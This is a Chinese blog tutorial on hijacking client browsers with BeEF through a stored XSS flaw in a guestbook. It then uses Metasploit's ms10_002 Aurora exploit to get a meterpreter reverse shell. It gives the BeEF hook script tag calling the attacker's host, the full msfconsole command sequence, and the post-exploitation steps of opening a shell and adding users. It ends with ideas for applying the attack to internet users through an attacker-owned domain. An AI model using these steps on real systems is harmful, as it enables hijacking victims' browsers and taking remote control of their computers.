利用Beef劫持客户端浏览器

 

环境:

1.Kali(使用beef生成恶意代码,IP:192.168.114.140)

2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.114.204)

3. 客户端(用于访问web服务器,IP:192.168.114.130)

步骤:

1. Kali使用beef生成恶意代码

2. 将恶意代码写入192.168.114.204网站留言板

3. 只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持

目的:

控制目标主机的浏览器,通过目标主机浏览器获得该主机的详细信息,并进一步扫描内网,配合metasploit进行内网渗透

以下为具体操作:

一、搭建服务器

首先我在window server 2003上搭建IIS服务器,在站长之家找了一个存在XSS漏洞的留言板源码(我心依然留言板),发布到IIS服务器上。

用WVS扫了一下,确实存在XSS漏洞:

二、Kali中Beef的安装和使用:

启动成功后:

浏览器输入:http://127.0.0.1:3000/ui/panel,Usename与Password均为beef:

三、挂马

将如上图所示的Hook URL写入web服务器存在XSS漏洞的留言板中<scriptsrc="http://192.168.114.140:3000/hook.js"></script>

如果留言被管理员审核通过,你的留言能在留言板显示出来。当客户端访问服务器的留言板后,你可以在Beef控制端查看目标主机,如果出现下图所示内网,表示客户端浏览器已经被成功劫持

在Current Browser项选择Browser,点击Hooked Domain选择Redirect Browser,在右边的Redirect URL中输入网址,即可控制浏览器跳转到目标网址

 

Beef+msf拿客户端shell(XP+IE6)

 

一、运行metasploit

Kali收藏栏找到metasploit framework

也可以新建终端输入:msfconsole,启动成功后:

输入以下命令:

1.search ms10_002(寻找ms10_002漏洞)

2.useexploit/windows/browser/ms10_002_aurora(使用ms10_002极光漏洞)

3.set payloadwindows/meterpreter/reverse_tcp(设置TCP回连攻击载荷)

4.show options(查看漏洞利用工具选项)

5.set srvhost 192.168.114.140(配置客户端访问的目标地址,这里是Kali本机的IP地址)

6.set srvport 7777(访问的端口号)

7.set uripath /(网站根路径)

8.set lhost 192.168.114.140(设置本地接收地址)

9.set lport 4444(端口号)

10.show options (查看是否更改过来)

11.exploit(执行利用,出现如下所示表示执行成功)

利用Beef生成的恶意代码植入到存在XSS漏洞的web服务器(12.168.114.204),客户端(192.168.114.130)浏览植入恶意代码的网页,造成客户端浏览器被劫持。当前客户端使用的环境为windows XP+IE6,我们使用metasploit framework工具针对IE6的ms10_002极光漏洞进行利用,控制客户端被劫持的浏览器访问192.168.114.140:7777,触发该漏洞,通过漏洞拿到客户端的权限shell,回连192.168.114.140:4444,从而达到控制客户端系统的目的。

由于笔者的XP+IE6环境没有搭好,以下用的firefox浏览器演示命令执行,跳转之后的效果:

如何查看这个shell,我们在Kali中的metasploit终端按下回车。输入sessions –i(由于用的firefox浏览器,所以没有成功获取session)

我在网上找了张图,当成功利用,显示如下:

根据sessions的Id,输入sessions -i 1,得到meterpreter:

meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

输入shell就可以拿到目标主机的一个cmd

然后就可以做任何想做的事比如net user 创建用户等

二、漏洞发布网站:

想要使用metasploit,当然要配合漏洞进行利用,以下为漏洞发布网站,可以经常去看看:

https://www.exploit-db.com/

三、Beef如何在外网中应用思路

仅个人的一些想法,如果不对请指正:利用本机为Web服务器,购买域名,并将域名解析至本机IP地址,在本机的网站上写入恶意代码。当外网客户端通过域名访问我本机搭建的网站,导致浏览器被劫持。

使用Beef劫持客户端浏览器并进一步使用Beef+msf拿客户端shell相关推荐

  1. java如何获取客户端浏览器的语言设置信息呢?

    转自: java如何获取客户端浏览器的语言设置信息呢? 客户端简介: 客户端(Client)或称为用户端,是指与服务器相对应,为客户提供本地服务的程序.除了一些只在本地运行的应用程序之外,一般安装在普 ...

  2. 服务器 主动 推送 客户端浏览器 消息***

    前言 通常情况下,无论是web浏览器还是移动app,我们与服务器之间的交互都是主动的,客户端向服务器端发出请求,然后服务器端返回数据给客户端,客户端浏览器再将信息呈现,客户端与服务端对应的模式是: 客 ...

  3. php浏览器类型检测工具,php检测客户端浏览器类型的简单示例

    这篇文章主要为大家详细介绍了php检测客户端浏览器类型的简单示例,具有一定的参考价值,可以用来参考一下. 对php检测客户端浏览器类型代码感兴趣的小伙伴,下面一起跟随512笔记的小编两巴掌来看看吧! ...

  4. php 启动手机浏览器,php实现读取手机客户端浏览器的类

    php实现读取手机客户端浏览器的类 /** *   函数名称:   getUA *   函数功能:   取UA *   输入参数:   none *   函数返回值:   成功返回号码,失败返回fal ...

  5. android 访问服务器sql_XSS 攻击、CSRF 攻击、SQL 注入、流量劫持(DNS 劫持、HTTP 劫持)—— 浏览器安全

    今天看了 jsliang 大佬关于网络安全的文章,为了加深一下印象,自己动手写一下. 主要参考文章:网络安全 --- jsliang XSS攻击 XSS(Cross Site Script)跨站脚本攻 ...

  6. Web笔记-通过版本号控制客户端浏览器中的缓存

    这里举个例子: 通过Python管理静态资源.但有时候,js或者css更新了,浏览器不知道,还使用缓存的情况. 如下所示: 通过在url中带个?这种方式,使得浏览器去获取新的资源 看下根请求下相关链接 ...

  7. 手机php用什么打开手机浏览器下载,php实现读取手机客户端浏览器的类

    /** * 类名: mobile * 描述: 手机信息类 * 其他: 偶然 编写 */ class mobile{ /** * 函数名称: getPhoneNumber * 函数功能: 取手机号 * ...

  8. 关于图片onload事件兼容性处理, 谷歌浏览器版本 56.0.2896.3 (64-bit) 微信客户端浏览器 canvas篇

    关于图片onload事件兼容性处理 阐述: 一个小demo,关于canvas 绘制 大转盘 和 指针,当同时各自添加onload事件指针图片突发性不显示. 兼容性问题-浏览器版本: 谷歌浏览器版本 5 ...

  9. PHP解析HTTP_USER_AGENT 获取客户端浏览器以及版本号

    各大经典浏览器HTTP_USER_AGENT详细 IE 各个版本典型的userAgent如下: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) M ...

最新文章

  1. linker command failed with exit code 1 (use -v to see invocation),经典Xcode编译错误的出现和解决!...
  2. python note 11 函数名的使用、闭包、迭代器
  3. 海量数据处理利器greenplum——初识
  4. PostgreSQL 9.4版本的物化视图更新
  5. Java网络编程1---基础
  6. 提示错误:“应为“providerInvariantName”参数的非空字符串。”
  7. 美团Android自动化之旅—生成渠道包
  8. 图片背景虚化_如何用PPT制作图片虚化背景?
  9. 如何设置 Windows 默认命令行窗口大小和缓冲区大小
  10. Rust: 外部函数接口(FFI)
  11. 5款Windows 界面原型设计工具
  12. manjaro踩坑记
  13. Linux+bridge做透明网桥
  14. 51单片机对直流电机的控制(使用proteus仿真)
  15. 方维团购V3.07版本短信插件开发
  16. 编写站点robots文件
  17. 编制项目预算的方法和步骤
  18. 128、H3C交换机恢复出厂和各种基本配置
  19. 第一章Web技术概述
  20. Linux磁盘清理策略

热门文章

  1. pandas 数据聚合与分组运算
  2. android控件向内弧度_android给View设置边框 填充颜色 弧度
  3. UE4 IOS打包详解
  4. UE4.24版本使用AndroidStudio配置打包环境
  5. 基于JAVA学生健康管理系统计算机毕业设计源码+系统+数据库+lw文档+部署
  6. 决策树方法-对买电脑进行分类预测
  7. strictmath_Java StrictMath cosh()方法与示例
  8. HTTP协议格式以及Fiddler用法
  9. 2020年 新加坡81家最佳创业公司
  10. 当所有人都站着吆喝,我选择退一步坐下